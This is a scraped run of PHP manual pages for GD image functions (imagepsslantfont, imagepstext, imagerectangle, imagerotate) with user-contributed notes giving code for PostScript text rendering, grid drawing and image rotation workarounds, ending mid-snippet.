imagepsslantfont

(PHP 4, PHP 5)

imagepsslantfont — Slant a font

Description

bool imagepsslantfont ( resource $font_index , float $slant )

Slant a given font given.

Parameters

font_index

A font resource, returned by imagepsloadfont().

slant

Slant level.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagepsslantfont() example

<?php
// Load a .pfb font file
$font = imagepsloadfont('./px3l.pfb');

// Slant the font by 22.5
imagepsslantfont($font, 22.5);

// Do any operations with the font here

// Free the font from memory
imagepsfreefont($font);
?>

Notes

Note: This function is only available if PHP is compiled using --with-t1lib[=DIR] .

User Contributed Notes

There are no user contributed notes for this page.


Draws a text over an image using PostScript Type1 fonts

  • « imagepsslantfont
  • imagerectangle »
  • PHP Manual
  • GD and Image Functions
  • Draws a text over an image using PostScript Type1 fonts

imagepstext

(PHP 4, PHP 5)

imagepstext — Draws a text over an image using PostScript Type1 fonts

Description

array imagepstext ( resource $image , string $text , resource $font_index , int $size , int $foreground , int $background , int $x , int $y [, int $space = 0 [, int $tightness = 0 [, float $angle = 0.0 [, int $antialias_steps = 4 ]]]] )

Draws a text on an image using PostScript Type1 fonts.

Refer to PostScript documentation about fonts and their measuring system if you have trouble understanding how this works.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

text

The text to be written.

font_index

A font resource, returned by imagepsloadfont().

size

size is expressed in pixels.

foreground

The color in which the text will be painted.

background

The color to which the text will try to fade in with antialiasing. No pixels with the color background are actually painted, so the background image does not need to be of solid color.

x

x-coordinate for the lower-left corner of the first character.

y

y-coordinate for the lower-left corner of the first character.

space

Allows you to change the default value of a space in a font. This amount is added to the normal value and can also be negative. Expressed in character space units, where 1 unit is 1/1000th of an em-square.

tightness

tightness allows you to control the amount of white space between characters. This amount is added to the normal character width and can also be negative. Expressed in character space units, where 1 unit is 1/1000th of an em-square.

angle

angle is in degrees.

antialias_steps

Allows you to control the number of colours used for antialiasing text. Allowed values are 4 and 16. The higher value is recommended for text sizes lower than 20, where the effect in text quality is quite visible. With bigger sizes, use 4. It's less computationally intensive.

Return Values

This function returns an array containing the following elements:

0 | lower left x-coordinate
1 | lower left y-coordinate
2 | upper right x-coordinate
3 | upper right y-coordinate

Examples

Example #1 imagepstext() usage

<?php
// Create image handle
$im = imagecreatetruecolor(200, 200);

// Allocate colors
$black = imagecolorallocate($im, 0, 0, 0);
$white = imagecolorallocate($im, 255, 255, 255);

// Load the PostScript Font
$font = imagepsloadfont('font.pfm');

// Write the font to the image
imagepstext($im, 'Sample text is simple', $font, 12, $black, $white, 50, 50);

// Output and free memory
header('Content-type: image/png');

imagepng($im);
imagedestroy($im);
?>

Notes

Note: This function is only available if PHP is compiled using --with-t1lib[=DIR] .

See Also

  • imagepsbbox() - Give the bounding box of a text rectangle using PostScript Type1 fonts

User Contributed Notes

soletan at toxa dot de 15-Aug-2010 04:35
As of PHP 5.2.13 with bundled GD (2.0.34) antialiasing_steps mustn't be "4 to 16", but "4 or 16". Values from 5 to 15 result in a warning.
whitemarker dot blogspot dot com 19-Sep-2007 08:28
The documentation above is bad.  It says $font:
"Can be 1, 2, 3, 4, 5 for built-in fonts in latin2 encoding (where higher numbers corresponding to larger fonts) or any of your own font identifiers registered with imageloadfont()."

But it can't.  When I put in 1,2,3,4,5 I get
"Warning: imagepstext() expects parameter 3 to be resource, integer given"

I get the same thing when using imageloadfont() because imageloadfont() also returns an integer.  The documentation should instead say:
"resource returned from imagepsloadfont()."
chrislewis60 at hotmail dot com 23-Jul-2007 04:45
imagepstext() appears to be quite memory intensive and we had a problem where about 50% of the time the script would error. You need to make sure PHP has enough memory assigned to it - we had to increase PHP's allocation from 8MB to 16MB for a simple "hello world" example to work smoothly.

If the png header was commented out it would sometimes error with a message like:

Warning: imagepstext() [function.imagepstext]: T1Lib Error 11 or 14

and if the png header was there it would sometimes say:

The image [...] cannot be displayed, because it contains errors.
honza dot bartos at gmail dot com 24-Oct-2006 01:38
The coordinates given by x, y represent actually a starting point of the text baseline. They represent the lower left corner of the first character only in case that any part of the character doesn't lie below baseline (it works for "Hello" but for "Howdy" it does not - because of letter y). There may be some small differences according to the font and size chosen.
heckp at uni-trier.de 10-Jul-2003 02:11
It is important so make shure that the "text" really is a string.

imagepstext ($im, $text, $font, $textsize, $black, $white, 10, 10);

won't work if $text is undefined, so PHP will quit with an error.

so always write it like this:

imagepstext ($im, "$text", $font, $textsize, $black, $white, 10, 10);
m.confalonieri(at)mclink.it 04-Jun-2003 03:00
I found a way to let imagepstext understand 32-bit colors (RGBA) by replacing in gd.c:PHP_FUNCTION(imagepstext)

int _fg, _bg, x, y, size, space = 0, aa_steps = 4, width = 0;

with

unsigned int _fg, _bg, x, y, size, space = 0, aa_steps = 4, width = 0;
Jeroen dot Straahof at newego dot nl 07-Feb-2003 03:12
I made a function that makes it easy to align text to the right
of an image. Below you can find the code because for me it
works great. You can also use it to center text as well, if you
like to have that simply remove the -10 and split the result
of $imgwidth and $texwidth

function AlignRight($string, $font, $imgwidth, $fontsize) {
list($lx,$ly,$rx,$ry) = imagepsbbox($string,$font,$fontsize,0,0,0);
$textwidth = $rx - $lx;
$imw = ($imgwidth-10-$textwidth);
return $imw;
}
johan (at) 1way2print.net 06-Nov-2002 11:17
If you use fonts with special chars, remeber to read in the encoded file *.enc with imagepsencodefont ... etc. for Danish, Swedish, German.....
a at url dot de 18-Feb-2002 03:16
a note on kernnig:
t1lib tries to load a corresponding afm file in the directory of the font file.
it does this by replacing the extension (.PFB .pfb) with ".afm". note that this has to be a lowercase afm! usually windows-ps-fonts have file names in all-uppercase, so try renaming the *.AFM file to *.afm.

i also noticed that sometimes this gives an error -2. it seems like t1lib chokes on windows-linebreaks in the afm file.

try 'recode dos..lat1 fontfile.afm' and check again.

if it all works, combinations like "Ta" or "Te" should show the second letter slightly moved to the capital T (on normal fonts like Times anyway).
npdavis at hotmail dot com 24-May-2001 06:09
If you have a programming error in your code, using ImagePsText, sometimes t1lib crashes with an unrecoverable error. Because of this, httpd needs to be restarted.

This problem only occurs if there is a programming error, but can drive you crazy when debugging, if you don't know about it. By killing the parent process(httpd) you "reset" t1lib. When debugging, if you get an error then make a code change, restart httpd before testing it again. This will save hours of frustration. Make it a habit to just restart httpd after every error, and you will be much happier.

Also, to see debugging messages, (if you are rendering x's) comment the jpeg header, and the ImageJpeg statement. You will get beautiful error messages. When you get a blank page, your ImagePsText code is working correctly. Uncomment the Header() and ImageJpeg() and see what you have. You might be passing parameters that render a white image with no text, but the code is working!

Numeric t1lib error messages can be decoded using the t1lib_doc.pdf file that comes with t1lib. PHP simply relays these errors from t1lib to the page. Please don't ask the PHP people about these errors... t1lib has beautiful documentation.... use it: )

thx,
Neil
npdavis at hotmail dot com 24-May-2001 05:56
One other thing... variables. It is important to convert variables to the proper type before they hit this function. In this respect, ImageTtfText is easier to work with. IE, if you pass a font size from one page to the next, via GPC, it becomes a string type. Sooo... use IntVal() to convert it to an integer type that ImagePsText can digest. In addition you must convert HTML special characters or use chr() to represent special characters. ImagePsFont will not decode   to represent a space, use Chr(32) or a space:

<?php
$fontsize=IntVal($fontsize);
$font=ImagePsLoadFont("fonts/IntR.pfb");
ImagePsText($im, $textstring, $font, $fontsize, $textcolor, $background, 0, $fontsize,'','','',16); //note antialias is set
ImagePsFreeFont($font);
?>

thx,
Neil
npdavis at hotmail dot com 22-May-2001 02:54
with a font included in t1lib:

<?PHP
Header ("Content-type: image/jpeg");
$im = ImageCreate (350, 45);
$black = ImageColorAllocate ($im, 0, 0, 0);
$white = ImageColorAllocate ($im, 255, 255, 255);
$font=ImagePsLoadFont("bchbi.pfb");
ImagePsText($im, "Testing... It worked!",
$font, 32, $white, $black, 32, 32);
ImagePsFreeFont($font);
ImageJpeg($im, "", 100);//for best quality... your mileage may vary
ImageDestroy ($im);
?>

Better than using freetype, but with freetype2, the difference is marginal. To flip backround and foreground colors, alternate the order of ImageColorAllocate statements.

If you get outlines (the antialiasing produces these) reverse the $black and $white color identifiers in the ImagePsText function.

Happy PostScripting!

thx,
Neil


Draw a rectangle

  • « imagepstext
  • imagerotate »
  • PHP Manual
  • GD and Image Functions
  • Draw a rectangle

imagerectangle

(PHP 4, PHP 5)

imagerectangle — Draw a rectangle

Description

bool imagerectangle ( resource $image , int $x1 , int $y1 , int $x2 , int $y2 , int $color )

imagerectangle() creates a rectangle starting at the specified coordinates.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

x1

Upper left x coordinate.

y1

Upper left y coordinate 0, 0 is the top left corner of the image.

x2

Bottom right x coordinate.

y2

Bottom right y coordinate.

color

A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Simple imagerectangle() example

<?php
// Create a 200 x 200 image
$canvas = imagecreatetruecolor(200, 200);

// Allocate colors
$pink = imagecolorallocate($canvas, 255, 105, 180);
$white = imagecolorallocate($canvas, 255, 255, 255);
$green = imagecolorallocate($canvas, 132, 135, 28);

// Draw three rectangles each with its own color
imagerectangle($canvas, 50, 50, 150, 150, $pink);
imagerectangle($canvas, 45, 60, 120, 100, $white);
imagerectangle($canvas, 100, 120, 75, 160, $green);

// Output and free from memory
header('Content-Type: image/jpeg');

imagejpeg($canvas);
imagedestroy($canvas);
?>

The above example will output something similar to:

Output of example : Simple imagerectangle() example

User Contributed Notes

rogier 27-Jun-2007 02:27
In addition to Corey's note, this is the kind of code he means. Note that I always draw an outer grid border, so drawing lines will always take
1 + ceil((rows+cols)/2) actions. For a 20X20 grid, this means 21 actions, a 10X25 grid takes 19 Actions

<?php

function draw_grid(&$img, $x0, $y0, $width, $height, $cols, $rows, $color) {
    //draw outer border
    imagerectangle($img, $x0, $y0, $x0+$width*$cols, $y0+$height*$rows, $color);
    //first draw horizontal
    $x1 = $x0;
    $x2 = $x0 + $cols*$width;
    for ($n=0; $n<ceil($rows/2); $n++) {
        $y1 = $y0 + 2*$n*$height;
        $y2 = $y0 + (2*$n+1)*$height;
        imagerectangle($img, $x1,$y1,$x2,$y2, $color);
    }
    //then draw vertical
    $y1 = $y0;
    $y2 = $y0 + $rows*$height;
    for ($n=0; $n<ceil($cols/2); $n++) {
        $x1 = $x0 + 2*$n*$width;
        $x2 = $x0 + (2*$n+1)*$width;
        imagerectangle($img, $x1,$y1,$x2,$y2, $color);
    }
}

//example
$img = imagecreatetruecolor(300, 200);
$red   = imagecolorallocate($img, 255,   0,   0);
draw_grid($img, 0,0,15,20,20,10,$red);
header("Content-type: image/png");
imagepng($img);
imagedestroy($img);
?>
have fun ;)
Corey 14-Feb-2007 12:09
Matt,

I agree that drawing 100 boxes for a 10x10 square is ludicrous. However, if we're going to talk about the best way to draw it in GD, you're still off.

Since a rectangle will draw two vertical lines in one draw, we should use it to our advantage. You can draw 5 rectangles that have the tops and bottoms outside of the image, and there you have your ten rows. Draw 5 more who's sides are out of the image and you have your columns. We just drew a 10x10 (you could do 11x11) grid in 10 draw operations.

:)
administrador(ensaimada)sphoera(punt)com 04-May-2006 04:28
<?php
// With this function you will draw rounded corners rectangles with transparent colors.
// Empty (not filled) figures are allowed too!!

function draw_roundrectangle($img, $x1, $y1, $x2, $y2, $radius, $color,$filled=1) {
    if ($filled==1){
        imagefilledrectangle($img, $x1+$radius, $y1, $x2-$radius, $y2, $color);
        imagefilledrectangle($img, $x1, $y1+$radius, $x1+$radius-1, $y2-$radius, $color);
        imagefilledrectangle($img, $x2-$radius+1, $y1+$radius, $x2, $y2-$radius, $color);

        imagefilledarc($img,$x1+$radius, $y1+$radius, $radius*2, $radius*2, 180 , 270, $color, IMG_ARC_PIE);
        imagefilledarc($img,$x2-$radius, $y1+$radius, $radius*2, $radius*2, 270 , 360, $color, IMG_ARC_PIE);
        imagefilledarc($img,$x1+$radius, $y2-$radius, $radius*2, $radius*2, 90 , 180, $color, IMG_ARC_PIE);
        imagefilledarc($img,$x2-$radius, $y2-$radius, $radius*2, $radius*2, 360 , 90, $color, IMG_ARC_PIE);
    }else{
        imageline($img, $x1+$radius, $y1, $x2-$radius, $y1, $color);
        imageline($img, $x1+$radius, $y2, $x2-$radius, $y2, $color);
        imageline($img, $x1, $y1+$radius, $x1, $y2-$radius, $color);
        imageline($img, $x2, $y1+$radius, $x2, $y2-$radius, $color);

        imagearc($img,$x1+$radius, $y1+$radius, $radius*2, $radius*2, 180 , 270, $color);
        imagearc($img,$x2-$radius, $y1+$radius, $radius*2, $radius*2, 270 , 360, $color);
        imagearc($img,$x1+$radius, $y2-$radius, $radius*2, $radius*2, 90 , 180, $color);
        imagearc($img,$x2-$radius, $y2-$radius, $radius*2, $radius*2, 360 , 90, $color);
    }
}

?>
More functions at http://www.sphoera.com
carl at pappenheim dot net 20-Feb-2006 12:02
Oh I don't know.  He was on the right track..

<?php

$rows = 5;
$cols = 11;
$eachx = 12;
$eachy = 18;

$max = array($cols*$eachx, $rows*$eachy);
$im = imagecreatetruecolor($max[0]+1,$max[1]+1);
$white = imagecolorallocate($im,255,255,255);
imagefill($im,0,0,$white);

$black = imagecolorallocate($im,50,50,50);

for($x=$max[0]/2;$x>=0;$x-=$eachx) {
    imagerectangle($im, ($max[0]/2)+$x,0, ($max[0]/2)-$x,$max[1], $black);
}
for($y=$max[1]/2;$y>=0;$y-=$eachy) {
    imagerectangle($im, 0,($max[1]/2)+$y, $max[0],($max[1]/2)-$y, $black);
}

header("Content-type: image/jpeg");
imagejpeg($im,'',80);
imagedestroy($im);
?>
matt at bargolf dot net 30-Jan-2006 11:25
Lets not do it Mr Benson's way OK!

I'm sure if I had to draw a 10x10 grid on paper I wouldn't do it by drawing 100 individual squares, redrawing nearly half of the lines twice.

I'd probably do it by drawing 11 vertical lines and 11 horizontal lines.

function ImageGrid2(&$im,$startx,$starty,$width,$height,$xcols,$yrows,&$color) {
    $endy = $starty + $height * $yrows;
    for ( $x=0; $x <= $xcols; $x++ ) {
        $x1 = $startx + $width * $x;
        imageline ( $im, $x1, $starty, $x1, $endy, $color );
    }

    $endx = $startx + $width * $xcols;
    for ( $y=0; $y <= $yrows; $y++ ) {
     $y1 = $starty + $height * $y;
     imageline ( $im, $startx, $y1, $endx, $y1, $color );
    }
}
eustaquiorangel at yahoo dot com 17-Dec-2002 06:21
If you want an empty rectangle, I mean, just the borders, fill it first with the ImageFilledRectangle function with the background color and then draw it with this function.


Rotate an image with a given angle

  • « imagerectangle
  • imagesavealpha »
  • PHP Manual
  • GD and Image Functions
  • Rotate an image with a given angle

imagerotate

(PHP 4 >= 4.3.0, PHP 5)

imagerotate — Rotate an image with a given angle

Description

resource imagerotate ( resource $image , float $angle , int $bgd_color [, int $ignore_transparent = 0 ] )

Rotates the image image using the given angle in degrees.

The center of rotation is the center of the image, and the rotated image may have different dimensions than the original image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

angle

Rotation angle, in degrees. The rotation angle is interpreted as the number of degrees to rotate the image anticlockwise.

bgd_color

Specifies the color of the uncovered zone after the rotation

ignore_transparent

If set and non-zero, transparent colors are ignored (otherwise kept).

Return Values

Returns an image resource for the rotated image, or FALSE on failure.

Changelog

Version | Description
5.5.0 | This function is now affected by the interpolation method set by the imagesetinterpolation() function.
5.1.0 | ignore_transparent was added.

Examples

Example #1 Rotate an image 180 degrees

This example rotates an image 180 degrees - upside down.

<?php
// File and rotation
$filename = 'test.jpg';
$degrees = 180;

// Content type
header('Content-type: image/jpeg');

// Load
$source = imagecreatefromjpeg($filename);

// Rotate
$rotate = imagerotate($source, $degrees, 0);

// Output
imagejpeg($rotate);

// Free the memory
imagedestroy($source);
imagedestroy($rotate);
?>

The above example will output something similar to:

Output of example : Rotate an image 180 degrees

Notes

Note:

This function is affected by the interpolation method set by imagesetinterpolation().

See Also

  • imagesetinterpolation() - Set the interpolation method

User Contributed Notes

meisterix at gmx dot com 17-Jul-2012 06:24
After some INet searches and personal try-and-failures I succeed to rotate PNG images with preserving alpha channel transparency (semi transparency).

<?php
    $filename = 'YourFile.png';
    $rotang = 20; // Rotation angle
    $source = imagecreatefrompng($filename) or die('Error opening file '.$filename);
    imagealphablending($source, false);
    imagesavealpha($source, true);

    $rotation = imagerotate($source, $rotang, imageColorAllocateAlpha($source, 0, 0, 0, 127));
    imagealphablending($rotation, false);
    imagesavealpha($rotation, true);

    header('Content-type: image/png');
    imagepng($rotation);
    imagedestroy($source);
    imagedestroy($rotation);
?>
henzeberkheij at gmail dot com 01-Jan-2012 11:27
Keep in mind this function rotates counterclockwise.  if you want to go 90 degrees clockwise, you have to tell imagerotate to go 270 degrees counter-clockwise.

$angle = 360-$angle;
Sam Yong - hellclanner at live dot com 28-Sep-2011 03:20
Note that the image resource returned from the imagerotate() function is an entirely different image resource from your original one.

<?php

$res = imagecreatetruecolor(100, 200);
$res2 = imagerotate($res, 90, 0);
var_dump($res, $res2);

?>

This will output:

resource(2, gd)
resource(3, gd)
kraeh at gmx dot net 21-Mar-2011 06:02
I had a problem with a png image containing transparent colors, but found a solution that works for me.
So i thought i might share it:

<?php
$angle=45;
$im=imagerotate($im, $angle, -1);
imagealphablending($im, true);
imagesavealpha($im, true);
?>
superzouz at hotmail dot com 05-Dec-2010 08:30
If you're having trouble rotating images through this function, please note that you can rotate images through CSS. As imagerotate() seems to remove image transparency, I resorted to CSS rotate. Here is an example of CSS code that should work across most browsers:

img.rotated90 {
    /* CSS3 then proprietary code */
    rotation: 90deg;
    -webkit-transform: rotate(90deg);
    -moz-transform: rotate(90deg);
    filter: progid:DXImageTransform.Microsoft.BasicImage(rotation=1);
}
Leo 27-Aug-2010 03:32
// angle in degrees, clockwise, allowed values from 0 to 360 degrees
    function rotateImage ($image, $angle)
    {
        if ( ($angle < 0) || ($angle > 360) )
        {
            exit ("Error, angle passed out of range: [0,360]");
        }

        $width    = imagesx ($image);
        $height    = imagesy ($image);

        $dstImage = imagecreatetruecolor ($width, $height);

        if ( ($angle == 0) || ($angle == 360) )
        {
            // Just copy image to output:
            imagecopy ($dstImage, $image, 0, 0, 0, 0, $width, $height);
        }
        else
        {
            $centerX = floor ($width / 2);
            $centerY = floor ($height / 2);

            // Run on all pixels of the destination image and fill them:
            for ($dstImageX = 0; $dstImageX < $width; $dstImageX++)
            {
                for ($dstImageY = 0; $dstImageY < $height; $dstImageY++)
                {
                    // Calculate pixel coordinate in coordinate system centered at the image center:
                    $x = $dstImageX - $centerX;
                    $y = $centerY - $dstImageY;

                    if ( ($x == 0) && ($y == 0) )
                    {
                        // We are in the image center, this pixel should be copied as is:
                        $srcImageX = $x;
                        $srcImageY = $y;
                    }
                    else
                    {
                        $r = sqrt ($x * $x + $y * $y); // radius - absolute distance of the current point from image center

                        $curAngle = asin ($y / $r); // angle of the current point [rad]

                        if ($x < 0)
                        {
                            $curAngle = pi () - $curAngle;
                        }

                        $newAngle = $curAngle + $angle * pi () / 180; // new angle [rad]

                        // Calculate new point coordinates (after rotation) in coordinate system at image center
                        $newXRel = floor ($r * cos ($newAngle));
                        $newYRel = floor ($r * sin ($newAngle));

                        // Convert to image absolute coordinates
                        $srcImageX = $newXRel + $centerX;
                        $srcImageY = $centerY - $newYRel;
                    }

                    $pixelColor = imagecolorat  ($image, $srcImageX, $srcImageY); // get source pixel color

                    imagesetpixel ($dstImage, $dstImageX, $dstImageY, $pixelColor); // write destination pixel
                }
            }
        }

        return $dstImage;
    }
xavtak at gmail dot com 25-Aug-2010 05:38
I've benchmarked three methods described here for rotating an image.

I used a 1600 x 1200 jpeg picture that was duplicated ten times on the disk. I looped through them to apply a CW rotation using either method.

First algorithm (the "imagesetpixel" algorithm):
<?php
function CWRotation($image)
{
    $w = imagesx($image);
    $h = imagesy($image);
    $result = @imagecreatetruecolor($h, $w);
    if($result)
    {
        for ($i = 0; $i < $w; $i++)
            for ($j = 0; $j < $h; $j++)
            {
                $ref = imagecolorat($image, $i, $j);
                imagesetpixel($result, ($h - 1) - $j, $i, $ref);
            }
    }
    return $result;
}
?>

Second algorithm (the "imagecopy" algorithm):
<?php
function CWRotation($image)
{
    $w = imagesx($image);
    $h = imagesy($image);
    $result = @imagecreatetruecolor($h, $w);
    if($result)
    {
        for ($i = 0; $i < $w; $i++)
            for ($j = 0; $j < $h; $j++)
                imagecopy($result, $image, ($h - 1) - $j, $i, $i, $j, 1, 1);
    }
    return $result;
}
?>

Third algorithm (the "imagerotate" algorithm):
<?php
function CWRotation($image)
{
    return imagerotate($image, 270, 0);
}
?>

In each step of the loop, the image is loaded, rotated then a copy is written on the disk.

Here are the results:
imagesetpixel algorithm: the 10 pictures were processed in 29 seconds
imagecopy algorithm: the 10 pictures were processed in 26 seconds
imagerotate algorithm: the 10 pictures were processed in 2 seconds (no typo here)

Writing the pictures on the disk allowed me to control the results. Every resulting picture was the same (tested with winmerge).

Conclusion: imagerotate is way faster than other "home-made" algorithms.
I ran the tests several times to see if the difference between imagesetpixel and imagecopy was introduced by my computer's independent activity, but I always got that 10% difference.

Note: the picture I used was taken from a camera, so no transparency was involved.
I ran the tests on Windows XP using PHP Version 5.3.0
kmrohe at letsco dot de 05-Mar-2010 12:00
As an alternative to the GD rotateImage() function, this is an easy way to rotate images by 90 degrees ccw *without* loosing transparency:

<?php

  function rotateImage($image) {
      $width = imagesx($image);
      $height = imagesy($image);
      $newImage= imagecreatetruecolor($height, $width);
      imagealphablending($newImage, false);
      imagesavealpha($newImage, true);
      for($w=0; $w<$width; $w++)
          for($h=0; $h<$height; $h++) {
              $ref = imagecolorat($image, $w, $h);
              imagesetpixel($newImage, $h, ($width-1)-$w, $ref);
          }
      return $newImage;
  }

?>
c kelley at ca - cycleworks dot com 20-Feb-2010 11:59
Note, of the rotate functions below, only beau's worked for me. Not sure if it is because of my source image, but upon rotating, the background became blue.

The code snippet below is what I used to prepare UPS shipping labels. The UPS xml api will return a base64 encoded gif, but it is sideways, so as to print on the top half of a 8.5x11 "letter" page. We are saving it in a database and sending it to a label printer, so needed it rotated...

The other code further down didn't make the background blue, however it did make the image leave the canvas by about 50%. Additionally, the imagecolorallocate() function has an example describing how to set the background color. That didn't work for me. Even though the blue BG is #0000ff, using that code didn't work, I had to use the transparent trick below.

The GD image functions may be in their infancy, however are a great reminder to me how powerful php is! Also, ubuntu apache users will need to apt-get install php5-gd to get the gd functions.

<?php
        $image=imagecreatefromgif( 'data://text/plain;base64,'.$this->shipmentLabelGraphicImage );
        $image=$this->rotateImage($image, 90); // Note: rotateImage turns our background to blue!
        $blue = imagecolorallocate($image, 0, 0, 255);
        imagecolortransparent($image, $blue);    // make blue transparent, so image isn't goofy
        imagepng($image,$this->shipmentTrackingNumber.".png");
        echo '<P><img src="'.$this->shipmentTrackingNumber.'.png"></P>';
        imagedestroy($image);
?>
edwins at xs4all dot net 20-Jan-2010 10:34
This function apparently contains a memory leak. Because of this, it was kept out of the GD library that comes with Ubuntu (and I assume other OS'es, too).

So, If you are running Ubuntu and wonder why you get "Call to undefined function imagerotate()" even though you seemingly have the correct GD lib installed, this is why. Use the alternative supplied by beau at dragonflydevelopment dot com instead. It works flawlessly (for angles in steps of 90 degrees).

On a side-note, some other GD image functions (unfortunately, the more interesting ones) suffer from the same problem and are kept out of the Ubuntu distribution as well.
beau at dragonflydevelopment dot com 23-Sep-2009 11:13
I believe the rotateImage function below is incorrect. The 180 rotation was actually doing a vertical mirror instead of rotating 180 degrees. The change was $i to $width - $i.

<?php
function rotateImage($img, $rotation) {
  $width = imagesx($img);
  $height = imagesy($img);
  switch($rotation) {
    case 90: $newimg= @imagecreatetruecolor($height , $width );break;
    case 180: $newimg= @imagecreatetruecolor($width , $height );break;
    case 270: $newimg= @imagecreatetruecolor($height , $width );break;
    case 0: return $img;break;
    case 360: return $img;break;
  }
  if($newimg) {
    for($i = 0;$i < $width ; $i++) {
      for($j = 0;$j < $height ; $j++) {
        $reference = imagecolorat($img,$i,$j);
        switch($rotation) {
          case 90: if(!@imagesetpixel($newimg, ($height - 1) - $j, $i, $reference )){return false;}break;
          case 180: if(!@imagesetpixel($newimg, $width - $i, ($height - 1) - $j, $reference )){return false;}break;
          case 270: if(!@imagesetpixel($newimg, $j, $width - $i, $reference )){return false;}break;
        }
      }
    } return $newimg;
  }
  return false;
}
?>

you can call it this way:
<?php
$img = rotateImage($imagetorotate,"degrees");
?>
ewald at dutchvisual dot nl 20-Sep-2009 01:35
This function will rotate the image. The image will be resampled completely.

<?php
function rotateImage($img, $rotation) {
  $width = imagesx($img);
  $height = imagesy($img);
  switch($rotation) {
    case 90: $newimg= @imagecreatetruecolor($height , $width );break;
    case 180: $newimg= @imagecreatetruecolor($width , $height );break;
    case 270: $newimg= @imagecreatetruecolor($height , $width );break;
    case 0: return $img;break;
    case 360: return $img;break;
  }
  if($newimg) {
    for($i = 0;$i < $width ; $i++) {
      for($j = 0;$j < $height ; $j++) {
        $reference = imagecolorat($img,$i,$j);
        switch($rotation) {
          case 90: if(!@imagesetpixel($newimg, ($height - 1) - $j, $i, $reference )){return false;}break;
          case 180: if(!@imagesetpixel($newimg, $i, ($height - 1) - $j, $reference )){return false;}break;
          case 270: if(!@imagesetpixel($newimg, $j, $width - $i, $reference )){return false;}break;
        }
      }
    } return $newimg;
  }
  return false;
}
?>

you can call it this way:
<?php
$img = rotateImage($imagetorotate,"degrees");
?>
dev at imglib dot endofinternet dot net 26-Aug-2009 12:15
And you can add a transparent background to you png image by change the
<?php
    if ($ignore_transparent == 0) {
        imagefill($destimg, 0, 0, imagecolorallocatealpha($destimg, 255,255, 255, 127));
        imagesavealpha($destimg, true);
    }
?>
to
<?php
    if ($ignore_transparent == 0) {
        $temp = imagecolorallocatealpha($destimg, 255,255, 255, 127);
        imagefill($destimg, 0, 0, $temp);
        //if set the default color or white or magic pink then use transparent color
        if ( ($bgcolor == 0) || ($bgcolor == 16777215) || ($bgcolor == 16711935) )  {
            $bgcolor = $temp;
        }
        imagesavealpha($destimg, true);
    }
?>
sjef at bosman dot fr 09-Aug-2009 06:28
I wanted to draw a transparent GIF-image and show it on a page, at an angle specified in the URL:
<img src="image.php?angle=90" type="image/gif">

I used the native imagerotate() but at angles of 90, 180, etc. the old background colour would become non-transparent. Apparently, there's a bug somewhere in GD, and has been for ages.

My solution below:

<?php
$height = 100;
$width = 100;
$lsize= $width/2;
$angle= $_GET["angle"];

// avoid the bug:
if(($angle%90)==0)
  $angle+= 0.001;

$image_p = imagecreatetruecolor($width, $height);
$trans = imagecolorallocate($image_p, 254, 0, 0);
imagefill($image_p, 0, 0, $trans);
imagecolortransparent($image_p, $trans);

$black = imagecolorallocate($image_p, 1, 1, 1);
$red = imagecolorallocate($image_p, 255, 0, 0);
$white = imagecolorallocate($image_p, 255, 255, 255);

// draw something here
imageline($image_p, 3, $lsize, $lsize/2, $lsize, $black);

$image_r= imagerotate($image_p, -$angle, $trans, 0);
$w= imagesx($image_r);
$h= imagesy($image_r);
$image_s = imagecreatetruecolor($width, $height);
imagecopyresized($image_s, $image_r, 0, 0, ($w-$width)/2, ($h-$height)/2, $width, $height, $width, $height);
$trans = imagecolorallocate($image_s, 254, 0, 0);
imagecolortransparent($image_s, $trans);
imagegif($image_s);
?>
gglockner AT NOSPAMdwaffler DOT com 23-Jul-2009 09:36
If you're going to do a rotation by hand instead of using the imagerotate function, you can use the imagecopy function to copy a single pixel instead of determining the pixel color and setting the pixel.  Not only is this shorter and cleaner, but it also works with images that are not truecolor (on my system, imagecolorat fails with an image that is not truecolor).
jeprubio 17-Jul-2009 05:52
hi,
if you have a image with transparent color in previous function "function rotateImage($img1, $rec)"
just before "return $img2;" you have to do:
imagecolortransparent($img2, imagecolorallocate($img2, 0, 0, 0));
Best regards
Anonymous 26-Jun-2009 02:32
Sorry, the previous class contains an error, the original image after the rotation 1px move on and get the unwanted "border".

After a careful reading of the local debate, I am using the tip from Dave Richards wrote a new function. With its images can be rotated only 90 ° (default), 180 ° and 270 °, but one rarely needs more ...

The function returns False, or rotated image
<?php
if(!function_exists("imagerotate")) {
    function imagerotate($srcImg, $angle, $bgcolor, $ignore_transparent = 0) {
        return rotateImage($srcImg, $angle);
    }
}

function rotateImage($img1, $rec) {
    $wid = imagesx($img1);
    $hei = imagesy($img1);
    switch($rec) {
        case 270:
            $img2 = @imagecreatetruecolor($hei, $wid);
        break;
        case 180:
            $img2 = @imagecreatetruecolor($wid, $hei);
        break;
        default :
            $img2 = @imagecreatetruecolor($hei, $wid);
    }
    if($img2) {
        for($i = 0;$i < $wid; $i++) {
            for($j = 0;$j < $hei; $j++) {
                $ref = imagecolorat($img1,$i,$j);
                switch($rec) {
                    case 270:
                        if(!@imagesetpixel($img2, ($hei - 1) - $j, $i, $ref)){
                            return false;
                        }
                    break;
                    case 180:
                        if(!@imagesetpixel($img2, $i, ($hei - 1) - $j, $ref)) {
                            return false;
                        }
                    break;
                    default:
                        if(!@imagesetpixel($img2, $j, ($wid - 1) - $i, $ref)) {
                            return false;
                        }
                }
            }
        }
        return $img2;
    }
    return false;
}
?>

Petr
Mike Knoop 24-Jun-2009 11:25
Don't be tricked into thinking this function will rotate the image resource handle in-place. While the documentation currently doesn't specify and return values, I've found the following return values to be true:

"Returns an image resource identifier on success, FALSE on errors. "

Simply make sure you're doing something like...
<?php
$rotated_img = imagerotate($src_img, 45, $color)
?>

-Mike
krteczek01 at gmail dot com 24-Jun-2009 12:21
Hi, I've rewrote function to class with static methods. Advantage of this solution is ability to be called several times during script execution.

<?php
/*
    Unfinished imagerotate replacement. ignore_transparent is, well, ignored. :)
    Also, should have some standard functions for 90, 180 and 270 degrees, since they are quite
    easy to implement faster.
*/

if(!function_exists("imagerotate")) {
    function imagerotate(&$srcImg, $angle, $bgcolor, $ignore_transparent = 0) {
        return imagerotateEquivalent::rotate(&$srcImg, $angle, $bgcolor, $ignore_transparent);
    }
